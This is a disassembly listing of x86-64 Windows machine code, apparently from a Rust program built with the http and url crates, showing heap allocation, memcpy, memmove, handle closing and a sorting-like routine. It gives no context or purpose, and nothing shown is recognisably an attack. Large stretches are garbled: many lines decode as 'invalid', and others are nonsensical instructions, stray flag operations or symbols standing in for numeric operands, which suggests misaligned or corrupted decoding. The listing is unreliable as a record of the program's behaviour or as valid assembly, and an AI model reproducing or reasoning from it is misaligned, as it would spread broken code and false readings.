movabs al, byte [0x502444100f000003]
movups xmm0, xmmword [rsp + 0x50]
and al, 0x50
and al, 0x50
movups xmm1, xmmword [rsp + 0x60]
and al, 0x60
invalid
movups xmm2, xmmword [rsp + 0x70]
movups xmm3, xmmword [rsp + 0x80]
adc byte [rsp + 0x80], bl
jo 0x140111597
adc byte [rsp + 0x80], bl
add byte [rax], al
movaps xmmword [rsp + 0x390], xmm3
add eax, dword [rax]
add byte [rdi], cl
movaps xmmword [rsp + 0x380], xmm2
sub dword [rsp + 0x380], edx
add byte [rbx], 0
add byte [rdi], cl
sub dword [rsp + 0x370], ecx
and al, 0x70
add eax, dword [rax]
invalid
add byte [rax], al
movaps xmmword [rsp + 0x370], xmm1
and al, 0x70
add eax, dword [rax]
add byte [rdi], cl
sub dword [rsp + 0x360], eax
and al, 0x60
invalid
add eax, dword [rax]
invalid
movaps xmmword [rsp + 0x360], xmm0
invalid
cmp qword [r15], 0
je case.0x14010c000.35
invalid
add byte [rbx + rbp*2 + 0x49], dh
mov eax, dword [rdi + 8]
invalid
imul ecx, dword [rcx - 0x75], 0x47
mov rax, qword [r15 + 8]
or byte [rax - 0x7b], cl
sal byte [rdx + riz*2 + 0x4d], 0x8b
mov eax, dword [rdi + 0x10]
mov r9, qword [r15 + 0x18]
mov rcx, rbp
invalid
invalid
xchg esp, eax
invalid
test rax, rax
je case.0x14010c000.35
mov r8, qword [r15 + 0x10]
mov r9, qword [r15 + 0x18]
mov rcx, rbp
mov rdx, qword [rsp + 0x1d8]
fadd dword [rcx]
add byte [rax], al
call qword [rax]
movdqa xmm12, xmmword [rsp + 0x50]
movq mm4, qword [rsp + 0x50]
movups xmm0, xmmword [r12 + 6]
movaps xmmword [rsp + 0x4c0], xmm0
sub dword [rsp + 0x4c0], eax
sub dword [rsp + 0x4c0], eax
movdqa xmmword [rsp + 0x4d0], xmm7
movq qword [rsp + 0x4d0], mm7
add byte [rax], al
movdqa xmmword [rsp + 0x4f0], xmm7
movq qword [rsp + 0x4f0], mm7
invalid
movdqa xmmword [rsp + 0x450], xmm7
movq qword [rsp + 0x450], mm7
mov esp, 0x45024
add byte [rax - 0x75], cl
invalid
test byte [rax + rbx*4], ah
mov rax, qword [rsp + 0x198]
mov eax, dword [rsp + 0x198]
add dword [rax], eax
add byte [rdi], cl
movzx eax, byte [rax]
movzx eax, byte [rax]
xor ebx, ebx
lea rcx, [0x14020ac10]
or eax, 0xf95f9
or eax, 0xf95f9
xchg ebp, eax
str word [rax + 0x63]
invalid
movsxd rax, dword [rcx + rax*4]
invalid
add al, 0x81
add rax, rcx
jmp rax
movdqa xmmword [rsp + 0x4c0], xmm7
and al, 0xc0
add al, 0
add byte [rsi + 0xf], ah
jg case.0x140109b29.46
invalid
add byte [rax], al
movdqa xmmword [rsp + 0x4d0], xmm7
movdqa xmmword [rsp + 0x4f0], xmm7
jg 0x1401115f2
and al, 0xf0
add al, 0
invalid
and al, 0xd0
add al, 0
rol byte [rax + rax], 1
add byte [rsi + 0xf], ah
jg 0x1401115f2
and al, 0xf0
add al, 0
add byte [rsi + 0xf], ah
jg 0x1401115fb
movdqa xmmword [rsp + 0x450], xmm7
and al, 0x50
add al, 0
add byte [rax - 0x75], cl
test byte [rax + rbx*4], ah
cwde
mov rax, qword [rsp + 0x198]
movzx eax, byte [rax]
add dword [rax], eax
add byte [rdi], cl
mov dh, 0
xor ebx, ebx
lea rcx, [0x14020ac10]
invalid
invalid
movsxd rax, dword [rcx + rax*4]
add rax, rcx
movdqa xmm12, xmm9
jmp rax
mov bl, 1
jmp case.0x14011161e.0
add byte [rax], al
mov bl, 3
jmp case.0x14011161e.0
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rbx + 0x10ee904], dh
mov bl, 4
jmp case.0x14011161e.0
mov bl, 5
jmp case.0x14011161e.0
add byte [rax], al
add byte [rbx + 0xf2e908], dh
mov bl, 8
jmp case.0x14011161e.0
movzx eax, byte [r15 + 0xe1]
add byte [rax], al
mov byte [rsp + 0x37], al
movzx eax, byte [r15 + 0xe2]
mov byte [rsp + 0x36], al
mov rcx, qword [rsp + 0x418]
mov word [rax + rbx], fs
add al, 0
add byte [rdi], cl
mov dh, 0x41
add al, 0x88
and al, 0x54
and al, 0x54
mov eax, dword [rcx]
mov dword [rsp + 0x50], eax
mov rax, qword [r15 + 0xe8]
mov qword [rsp + 0x420], rax
add al, 0
add byte [rcx + 0xf], al
mov dh, 0x87
lock add byte [rax], al
add byte [rax - 0x75], cl
mov word [rax + rbx*2], fs
add dword [rax], eax
add byte [rax - 0x7f], cl
loope 0x1401116ef
invalid
invalid
dec dword [rax + 9]
ror dword [rax - 0x77], 0x8c
and al, 0x58
add dword [rax], eax
add byte [rbx + 0x8ce909], dh
add byte [rax], al
mov rsi, qword [r15 + 0xe8]
mov rax, qword [r15 + 0xf0]
mov qword [rsp + 0x158], rax
test rax, rax
je 0x14011176b
js 0x140112a38
mov byte [rbx], dl
adc eax, dword [rax]
add byte [rdi], cl
mov dh, 5
int3
movzx eax, byte [0x1402153f8]
mov rax, qword [0x140215360]
test rax, rax
jne 0x14011174e
mov eax, 1
mov qword [rsp + 0x420], rax
mov rcx, rax
mov rdx, rsi
mov r8, qword [rsp + 0x158]
call sub.VCRUNTIME140.dll_memcpy
mov bl, 0xa
nop dword [rax]
movzx eax, byte [rsp + 0x54]
mov byte [rsp + 0x18c], al
mov eax, dword [rsp + 0x50]
mov dword [rsp + 0x188], eax
mov rax, qword [rsp + 0x350]
mov rcx, qword [rsp + 0x356]
mov qword [rsp + 0x1c8], rax
mov qword [rsp + 0x1ce], rcx
movaps xmm0, xmmword [rsp + 0x4f0]
movaps xmmword [rsp + 0x50], xmm0
movaps xmm0, xmmword [rsp + 0x450]
movaps xmmword [rsp + 0x630], xmm0
mov eax, dword [rsp + 0x4ba]
mov dword [rsp + 0x1c0], eax
movzx eax, word [rsp + 0x4be]
mov word [rsp + 0x1c4], ax
mov rax, qword [rsp + 0x3e0]
mov rcx, qword [rsp + 0x3e7]
mov qword [rsp + 0x3d7], rcx
mov qword [rsp + 0x3d0], rax
movaps xmm0, xmmword [rsp + 0x4d0]
movaps xmmword [rsp + 0x710], xmm0
movzx eax, word [rsp + 0x4b8]
mov word [rsp + 0x1bc], ax
mov eax, dword [rsp + 0x4b4]
mov dword [rsp + 0x1b8], eax
movzx eax, byte [rsp + 0x18c]
mov byte [rsp + 0x194], al
mov eax, dword [rsp + 0x188]
mov dword [rsp + 0x190], eax
mov eax, dword [rsp + 0x170]
mov ecx, dword [rsp + 0x173]
mov dword [rsp + 0x17b], ecx
mov dword [rsp + 0x178], eax
mov rax, qword [rsp + 0x1c8]
mov rcx, qword [rsp + 0x1ce]
mov qword [rsp + 0x346], rcx
mov qword [rsp + 0x340], rax
movaps xmm0, xmmword [rsp + 0x50]
movaps xmmword [rsp + 0x400], xmm0
movaps xmm0, xmmword [rsp + 0x630]
movaps xmmword [rsp + 0x550], xmm0
movzx eax, word [rsp + 0x1c4]
mov word [rsp + 0x1b4], ax
mov eax, dword [rsp + 0x1c0]
mov dword [rsp + 0x1b0], eax
mov rax, qword [rsp + 0x3d0]
mov rcx, qword [rsp + 0x3d7]
mov qword [rsp + 0x3c7], rcx
mov qword [rsp + 0x3c0], rax
movaps xmm0, xmmword [rsp + 0x710]
movaps xmmword [rsp + 0x3f0], xmm0
movzx eax, word [rsp + 0x1bc]
mov word [rsp + 0x1ac], ax
mov eax, dword [rsp + 0x1b8]
mov dword [rsp + 0x1a8], eax
movzx eax, byte [rsp + 0x194]
mov byte [rsp + 0x184], al
mov eax, dword [rsp + 0x190]
mov dword [rsp + 0x180], eax
mov eax, dword [rsp + 0x178]
mov ecx, dword [rsp + 0x17b]
mov dword [rsp + 0x43], ecx
mov dword [rsp + 0x40], eax
movzx eax, byte [rsp + 0x360]
test rax, rax
je 0x140111984
cmp eax, 1
jne 0x140111988
xor edi, edi
jmp fcn.1401119ee
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x140111f92
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x140112aa7
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, WSAStartup
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x140112aa7
mov rsi, rax
mov qword [rax + 0x58], 1
lea rax, [0x1401d2fd0]
mov qword [rsi + 0x60], rax
mov word [rsi + 0x68], 1
mov r14, qword [r15 + 0x98]
mov rbx, qword [r15 + 0xa8]
test rbx, rbx
je 0x140112022
js 0x140112a38
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x14011200a
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x1401121fc
mov rcx, rax
mov qword [0x140215360], rax
xor edx, edx
mov r8, rbx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r15, rax
test rax, rax
jne 0x140112028
jmp 0x1401121fc
mov r15d, 1
mov rcx, r15
mov rdx, r14
mov r8, rbx
call sub.VCRUNTIME140.dll_memcpy
mov rdx, qword [rsp + 0x28]
movups xmm0, xmmword [rdx + 0xc8]
movaps xmmword [rsp + 0x50], xmm0
movzx eax, byte [rdx + 0xd8]
mov byte [rsp + 0x60], al
jmp 0x14011223c
test r15, r15
je 0x14011206e
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov r15, qword [rsp + 0x28]
jmp 0x1401122dc
test rsi, rsi
je 0x140112574
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.9_srcheadermap.rs
mov rcx, r15
mov rdx, r9
call fcn.140160ed0
ud2
mov rax, qword [rsp + 0x160]
mov qword [rax], 4
jmp 0x1401129d3
lea rcx, [rsp + 0x360]
call fcn.1400aca70
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x140112130
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x140112b55
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, 8
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x140112b55
mov rbx, rax
mov qword [rax], r14
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x140112179
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x140112aa7
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, WSAStartup
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x140112aa7
mov rsi, rax
mov qword [rax + 0x58], rbx
lea rax, str.__b_
mov qword [rsi + 0x60], rax
mov word [rsi + 0x68], 1
mov r14, qword [r15 + 0x98]
mov rbx, qword [r15 + 0xa8]
test rbx, rbx
je 0x14011220b
js 0x140112a38
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x1401121e9
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x1401121fc
mov rcx, rax
mov qword [0x140215360], rax
xor edx, edx
mov r8, rbx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r15, rax
test rax, rax
jne 0x140112211
mov ecx, 1
mov rdx, rbx
call fcn.14015d7f0
ud2
mov r15d, 1
mov rcx, r15
mov rdx, r14
mov r8, rbx
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsp + 0x168]
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x50], xmm0
movzx eax, byte [rax + 0x10]
mov byte [rsp + 0x60], al
mov rdx, qword [rsp + 0x28]
mov eax, dword [rdx + 0xb0]
mov ecx, dword [rdx + 0xc4]
movups xmm0, xmmword [rdx + 0x88]
movdqu xmm1, xmmword [rdx + 0xb4]
movups xmmword [rsi], xmm0
mov qword [rsi + 0x10], r15
mov qword [rsi + 0x18], rbx
mov qword [rsi + 0x20], rbx
mov dword [rsi + 0x28], eax
movdqu xmmword [rsi + 0x2c], xmm1
mov dword [rsi + 0x3c], ecx
movdqa xmm0, xmmword [rsp + 0x50]
movdqu xmmword [rsi + 0x40], xmm0
movzx eax, byte [rsp + 0x60]
mov byte [rsi + 0x50], al
mov eax, dword [rsp + 0x1e0]
mov ecx, dword [rsp + 0x1e3]
mov dword [rsi + 0x54], ecx
mov dword [rsi + 0x51], eax
mov rax, qword [rsp + 0x160]
mov qword [rax], 3
mov qword [rax + 8], rsi
jmp 0x1401129d3
cmp rax, 1
jne 0x140112802
cmp qword [rsp + 0x2f8], 0
je 0x1401122dc
lea rcx, [rsp + 0x50]
lea rdx, [rsp + 0x7f0]
mov r8d, 0xa0
call sub.VCRUNTIME140.dll_memcpy
mov r14, qword [r15 + 0x98]
mov rsi, qword [r15 + 0xa8]
test rsi, rsi
je 0x140112357
js 0x140112a38
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x140112335
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x140112348
mov rcx, rax
mov qword [0x140215360], rax
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbx, rax
test rax, rax
jne 0x14011235c
mov ecx, 1
mov rdx, rsi
call fcn.14015d7f0
ud2
mov ebx, 1
mov rcx, rbx
mov rdx, r14
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
movups xmm6, xmmword [r15 + 0xb4]
mov rax, qword [rsp + 0x168]
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x1e0], xmm0
movzx eax, byte [rax + 0x10]
mov byte [rsp + 0x1f0], al
movzx eax, word [r15 + 0xb0]
mov word [rsp + 0x28], ax
movzx r12d, word [r15 + 0xb2]
mov eax, dword [r15 + 0xc4]
mov dword [rsp + 0x48], eax
mov r13d, dword [r15 + 0x88]
mov r14d, dword [r15 + 0x8c]
mov ebp, dword [r15 + 0x90]
mov rax, r15
mov r15d, dword [r15 + 0x94]
mov rcx, qword [rax + 0x130]
mov qword [rsp + 0x38], rcx
mov qword [rax + 0x130], 0
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x140112412
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x140112b82
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, 0x30
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x140112b82
mov rdi, rax
movups xmm0, xmmword [rsp + 0xc0]
movups xmm1, xmmword [rsp + 0xd0]
movups xmm2, xmmword [rsp + 0xe0]
movups xmmword [rax + 0x20], xmm2
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax], xmm0
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x14011247b
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x140112b93
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, 0x58
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x140112b93
mov dword [rax], r13d
mov dword [rax + 4], r14d
mov dword [rax + 8], ebp
mov dword [rax + 0xc], r15d
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rsi
movzx ecx, word [rsp + 0x28]
mov word [rax + 0x28], cx
mov word [rax + 0x2a], r12w
movups xmmword [rax + 0x2c], xmm6
mov ecx, dword [rsp + 0x48]
mov dword [rax + 0x3c], ecx
movzx ecx, byte [rsp + 0x1f0]
mov byte [rax + 0x50], cl
movaps xmm0, xmmword [rsp + 0x1e0]
movups xmmword [rax + 0x40], xmm0
mov ecx, dword [rsp + 0x630]
mov edx, dword [rsp + 0x633]
mov dword [rax + 0x54], edx
mov dword [rax + 0x51], ecx
movups xmm0, xmmword [rsp + 0x50]
movups xmm1, xmmword [rsp + 0x60]
movups xmm2, xmmword [rsp + 0x70]
movups xmm3, xmmword [rsp + 0x80]
mov rdx, qword [rsp + 0x160]
movups xmmword [rdx], xmm0
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx + 0x20], xmm2
movups xmmword [rdx + 0x30], xmm3
movups xmm0, xmmword [rsp + 0x90]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rsp + 0xb0]
movups xmmword [rdx + 0x60], xmm0
movups xmm0, xmmword [rsp + 0xa0]
movups xmmword [rdx + 0x50], xmm0
mov qword [rdx + 0x70], 0
mov qword [rdx + 0x78], rdi
lea rcx, [0x1401d8650]
mov qword [rdx + 0x80], rcx
mov rcx, qword [rsp + 0x38]
mov qword [rdx + 0x88], rcx
mov qword [rdx + 0x90], rax
jmp 0x1401129d3
movdqu xmm6, xmmword [rsp + 0x1e8]
mov r14, qword [r15 + 0x98]
mov rsi, qword [r15 + 0xa8]
test rsi, rsi
je 0x140112868
movaps xmm6, xmmword [rsp + 0x890]
movaps xmm7, xmmword [rsp + 0x8a0]
movaps xmm8, xmmword [rsp + 0x8b0]
movaps xmm9, xmmword [rsp + 0x8c0]
movaps xmm10, xmmword [rsp + 0x8d0]
movaps xmm11, xmmword [rsp + 0x8e0]
movaps xmm12, xmmword [rsp + 0x8f0]
add rsp, 0x908
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.9_srcheadermap.rs
mov rcx, r14
mov rdx, rsi
call fcn.140160ed0
ud2
call fcn.1400138d0
ud2
movzx eax, byte [rsp + 0x51]
mov byte [rsp + 0x1e0], al
lea rax, [0x1401d8638]
mov qword [rsp + 0x20], rax
lea rcx, [0x1401d85aa]
lea r9, [0x1401d4b98]
lea r8, [rsp + 0x1e0]
mov edx, 0x29
call fcn.140161200
ud2
mov ecx, 1
mov rdx, r13
call fcn.14015d7f0
ud2
mov ecx, 8
mov edx, WSAStartup
call fcn.14015d7f0
ud2
lea r9, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001furl_2.4.1_srclib.rs
mov qword [rsp + 0x20], r9
mov r9, rax
call fcn.140161400
ud2
mov ecx, 8
mov edx, 8
call fcn.14015d7f0
ud2
mov ecx, 8
mov edx, 0x30
call fcn.14015d7f0
ud2
mov ecx, 8
mov edx, 0x58
call fcn.14015d7f0
ud2
movaps xmm6, xmmword [rsp + 0x730]
add rsp, 0x748
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov r14d, 1
mov r13, qword [rsp + 0x90]
cmp r13, rdx
jae 0x140118639
mov r8, rdx
sub r8, r13
mov r9, r13
shl r9, 5
lea rcx, [rbx + r9]
cmp r8, 2
jae 0x140118065
mov rax, rdx
jmp 0x1401181b0
mov rax, qword [rcx]
mov rdi, qword [rcx + 0x20]
cmp rdi, rax
jae 0x140118086
cmp r8, 2
jne 0x14011809b
lea rax, [r13 + 2]
mov r8d, 2
jmp 0x140118112
cmp r8, 2
jne 0x1401180c9
lea rax, [r13 + 2]
mov r8d, 2
jmp 0x1401181b0
add r9, qword [rsp + 0x470]
mov r10d, 2
mov r11, rdi
nop dword [rax]
mov rsi, r11
mov r11, qword [r9]
cmp r11, rsi
jae 0x1401180fa
inc r10
add r9, 0x20
cmp r8, r10
jne 0x1401180b0
jmp 0x1401180f7
add r9, qword [rsp + 0x470]
mov r10d, 2
mov r11, rdi
nop word [rax + rax]
mov rsi, r11
mov r11, qword [r9]
cmp r11, rsi
jb 0x1401180fa
inc r10
add r9, 0x20
cmp r8, r10
jne 0x1401180e0
mov r10, r8
lea rdx, [r10 + r13]
mov r8, r10
cmp rdi, rax
mov rax, rdx
mov rdx, qword [rsp + 0x30]
jae 0x1401181b0
cmp r13, rax
ja 0x1401190c4
cmp rax, rdx
ja 0x1401190d8
cmp r8, 2
jb 0x1401181b0
mov r11, rax
mov rax, r8
shr rax, 1
lea r10, [r8 + r13]
shl r10, 5
add r10, qword [rsp + 0xe8]
mov r9, rcx
nop word [rax + rax]
movups xmm0, xmmword [r9]
movups xmm1, xmmword [r9 + 0x10]
movaps xmmword [rsp + 0x100], xmm1
movaps xmmword [rsp + 0xf0], xmm0
movups xmm0, xmmword [r10]
movups xmm1, xmmword [r10 + 0x10]
movups xmmword [r9 + 0x10], xmm1
movups xmmword [r9], xmm0
movdqa xmm0, xmmword [rsp + 0xf0]
movdqa xmm1, xmmword [rsp + 0x100]
movdqu xmmword [r10 + 0x10], xmm1
movdqu xmmword [r10], xmm0
add r9, 0x20
add r10, 0xffffffffffffffe0
dec rax
jne 0x140118150
mov rax, r11
nop dword [rax + rax]
mov rsi, rax
sub rsi, r13
jb 0x140118d66
cmp rax, rdx
ja 0x140118d66
jae 0x14011820d
cmp r8, 0xa
jae 0x14011820d
lea rsi, [r13 + 0xa]
cmp rsi, rdx
cmovae rsi, rdx
mov qword [rsp + 0x90], rsi
sub rsi, r13
jb 0x140118ee5
cmp r8, 1
adc r8, 0
mov rdx, rsi
call fcn.140020320
mov rdx, qword [rsp + 0x30]
cmp r14, qword [rsp + 0x478]
je 0x14011821f
jmp 0x14011829e
mov qword [rsp + 0x90], rax
cmp r14, qword [rsp + 0x478]
jne 0x14011829e
movzx eax, byte [0x1402153f8]
mov rax, qword [0x140215360]
test rax, rax
jne 0x140118248
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x140118e2e
mov qword [0x140215360], rax
mov r8, r14
shl r8, 5
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x140118e2e
mov rdi, rax
lea rax, [r14 + r14]
mov qword [rsp + 0x478], rax
mov r8, r14
shl r8, 4
mov rcx, rdi
mov rdx, r12
call sub.VCRUNTIME140.dll_memcpy
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, r12
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov r12, rdi
mov rdx, qword [rsp + 0x30]
mov rax, r14
shl rax, 4
mov qword [r12 + rax], rsi
mov qword [r12 + rax + 8], r13
inc r14
mov rax, r14
cmp r14, 2
mov qword [rsp + 0x2d8], r12
jae 0x14011834c
jmp 0x140118035
mov rsi, r13
mov rdx, rbp
sub r12, rdx
mov rcx, rsi
mov r8, r12
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsp + 0x2f0]
add rax, r14
mov rcx, qword [rsp + 0x2e8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2f8]
mov rcx, qword [rsp + 0x2e0]
mov qword [rcx], rax
lea rdx, [r15 + 0x10]
mov rax, qword [rsp + 0x40]
not rax
mov r8, qword [rsp + 0x38]
add r8, rax
shl r8, 4
mov rcx, r15
stc
stc
call sub.VCRUNTIME140.dll_memmove
mov rax, qword [rsp + 0x98]
cmp rax, 1
mov rdx, qword [rsp + 0x30]
mov r12, qword [rsp + 0x2d8]
jbe 0x14011802f
mov r14, rax
lea r11, [rax - 1]
mov rcx, r11
shl rcx, 4
mov rax, qword [r12 + rcx]
mov rcx, qword [r12 + rcx + 8]
add rcx, rax
cmp rcx, rdx
je 0x1401183c0
mov r10, r14
shl r10, 4
mov r8, qword [r10 + r12 - 0x20]
cmp r8, rax
jbe 0x1401183c0
cmp r14, 3
jb 0x140118623
lea rsi, [r14 - 3]
mov rcx, rsi
shl rcx, 4
mov rcx, qword [r12 + rcx]
lea r9, [r8 + rax]
cmp rcx, r9
jbe 0x1401183d5
cmp r14, 4
jb 0x14011862e
add r8, rcx
cmp qword [r10 + r12 - 0x40], r8
and r8b, al
and r8b, al
jbe 0x1401183d5
jmp 0x140118035
cmp r14, 3
jb 0x1401183da
lea rsi, [r14 - 3]
std
mov rcx, rsi
shl rcx, 4
mov rcx, qword [r12 + rcx]
cmp rcx, rax
jb 0x1401183de
lea rsi, [r14 - 2]
cmp r14, rsi
jbe 0x140118bfb
add byte [rax], al
test byte [rdi], 0x86
adc al, 8
add byte [rax], al
lea rax, [rsi + 1]
mov qword [rsp + 0x38], r14
cmp r14, rax
jbe 0x140118c48
mov r15, rbp
mov r8, rsi
shl r8, 4
mov rcx, qword [r12 + r8 + 8]
shl rax, 4
mov r9, qword [r12 + rax]
mov rdi, qword [r12 + rax + 8]
add rdi, r9
mov rbp, rdi
sub rbp, rcx
jb 0x140118c95
mov qword [rsp + 0x40], rsi
cmp rdi, rdx
ja 0x140118ca6
mov qword [rsp + 0x2f0], r9
mov qword [rsp + 0x98], r11
lea rdx, [r12 + r8]
mov qword [rsp + 0x48], rdx
mov r14, qword [r12 + r8]
lea rdx, [r12 + rax]
mov qword [rsp + 0x2e8], rdx
lea rax, [r12 + rax + 8]
mov qword [rsp + 0x2e0], rax
mov qword [rsp + 0x2f8], rcx
mov rsi, rcx
shl rsi, 5
add rsi, rbx
mov r12, r14
shl r12, 5
lea r13, [rsi + r12]
shl rdi, 5
mov rbx, rbp
sub rbx, r14
cmp rbx, r14
jae 0x140118550
mov r12, rbx
shl r12, 5
mov rbp, r15
mov rcx, r15
mov rdx, r13
mov r8, r12
call sub.VCRUNTIME140.dll_memcpy
add al, 0
add al, 0
add r12, r15
test r14, r14
jle 0x1401185e6
test rbx, rbx
mov r15, qword [rsp + 0x48]
jle 0x1401185ee
add rdi, qword [rsp + 0xe8]
mov rbx, qword [rsp + 0x50]
nop word [rax + rax]
mov rax, r13
mov rcx, r12
mov rdx, qword [r12 - 0x20]
mov r8, qword [r13 - 0x20]
cmp rdx, r8
mov r13d, 0
sbb r13, r13
cmp rdx, r8
mov r12d, 0
adc r12, 0xffffffffffffffff
shl r13, 5
add r13, rax
shl r12, 5
add r12, rcx
cmp rdx, r8
mov rax, r12
cmovb rax, r13
movdqu xmm0, xmmword [rax]
movdqu xmm1, xmmword [rax + 0x10]
movdqu xmmword [rdi + 0x10], xmm1
movdqu xmmword [rdi], xmm0
cmp r13, rsi
jbe 0x1401182d0
add rdi, 0xffffffffffffffe0
cmp r12, rbp
ja 0x1401184e0
jmp 0x1401182d0
mov rbx, r15
mov rcx, r15
mov rdx, rsi
mov r8, r12
call sub.VCRUNTIME140.dll_memcpy
add r12, r15
test r14, r14
jle 0x1401185fe
cmp rbp, r14
mov rbx, qword [rsp + 0x50]
jle 0x140118613
add rdi, rbx
mov rbp, r15
mov rdx, r15
mov r15, qword [rsp + 0x48]
nop dword [rax]
mov r8, rdx
mov rcx, qword [r13]
xor edx, edx
xor eax, eax
cmp rcx, qword [r8]
setae dl
setb cl
mov r9, r8
cmovb r9, r13
movdqu xmm0, xmmword [r9]
add ebx, esi
movq mm1, qword [r9 + 0x10]
movdqu xmmword [rsi + 0x10], xmm1
movdqu xmmword [rsi], xmm0
add rsi, 0x20
shl rdx, 5
add rdx, r8
cmp rdx, r12
jae 0x1401182d6
mov al, cl
shl rax, 5
add r13, rax
cmp r13, rdi
std
jb 0x140118590
jmp 0x1401182d6
mov rsi, r13
mov rdx, rbp
jmp 0x140118604
mov rsi, r13
mov rdx, rbp
mov rbx, qword [rsp + 0x50]
jmp 0x1401182d6
mov rbp, r15
mov rdx, r15
mov rbx, qword [rsp + 0x50]
mov r15, qword [rsp + 0x48]
jmp 0x1401182d6
mov rbp, r15
mov rdx, r15
mov r15, qword [rsp + 0x48]
jmp 0x1401182d6
mov r14d, 2
jmp 0x140118035
mov r14d, 3
jmp 0x140118035
cld
stc
invalid
invalid
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, r12
mov rsi, qword [sym.imp.KERNEL32.dll_HeapFree]
call rsi
mov rcx, qword [0x140215360]
or ecx, ebp
invalid
add byte [rcx], dh
ror byte [rcx - 0x77], cl
call 0xcb5a5d5d
push rsp
and al, 0x30
mov r15, rdx
shl r15, 5
add r15, rbx
mov rsi, rbx
fimul word [rax - 0x7b]
ror byte [rdi], cl
invalid
xchg ebx, eax
add byte [rax], al
invalid
lea r12, [rsp + 0xf8]
lea rdi, [rsp + 0xf0]
mov r13, qword [sym.imp.KERNEL32.dll_HeapFree]
mov rsi, rbx
jmp 0x1401186b2
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rbx
call r13
add rsi, 0x20
cmp rsi, r15
mov rbx, rbp
je 0x140118763
mov rax, qword [rsi + 8]
test rax, rax
je 0x140118706
mov rbp, rbx
movdqu xmm0, xmmword [rsi + 0x10]
movdqa xmmword [rsp + 0xa0], xmm0
mov qword [rsp + 0xf0], rax
movdqu xmmword [r12], xmm0
mov rcx, rdi
call fcn.1401466e0
test rax, rax
je 0x1401186a2
mov rbx, rax
mov r14, rdx
mov rcx, rax
call qword [rdx]
cmp qword [r14 + 8], 0
je 0x1401186a2
cmp qword [r14 + 0x10], 0x11
jb 0x140118693
mov rbx, qword [rbx - 8]
jmp 0x140118693
add rsi, 0x20
sub r15, rsi
je 0x140118763
shr r15, 5
add rsi, 0x10
mov rdi, qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140118729
add rsi, 0x20
dec r15
je 0x140118763
mov rcx, qword [rsi + 8]
call rdi
mov rax, qword [rsi - 8]
lock dec qword [rax]
dec dword [rax]
jne 0x140118750
mov rcx, qword [rsi - 8]
call fcn.140005590
mov rax, qword [rsi]
lock dec qword [rax]
dec dword [rax]
jne 0x140118720
jmp 0x140118759
mov rax, qword [rsi]
lock dec qword [rax]
jne 0x140118720
mov rcx, rsi
call fcn.1400bc040
jmp 0x140118720
cmp qword [rsp + 0x2d0], 0
je 0x140118780
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rbx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rax, qword [rsp + 0x598]
lock dec qword [rax]
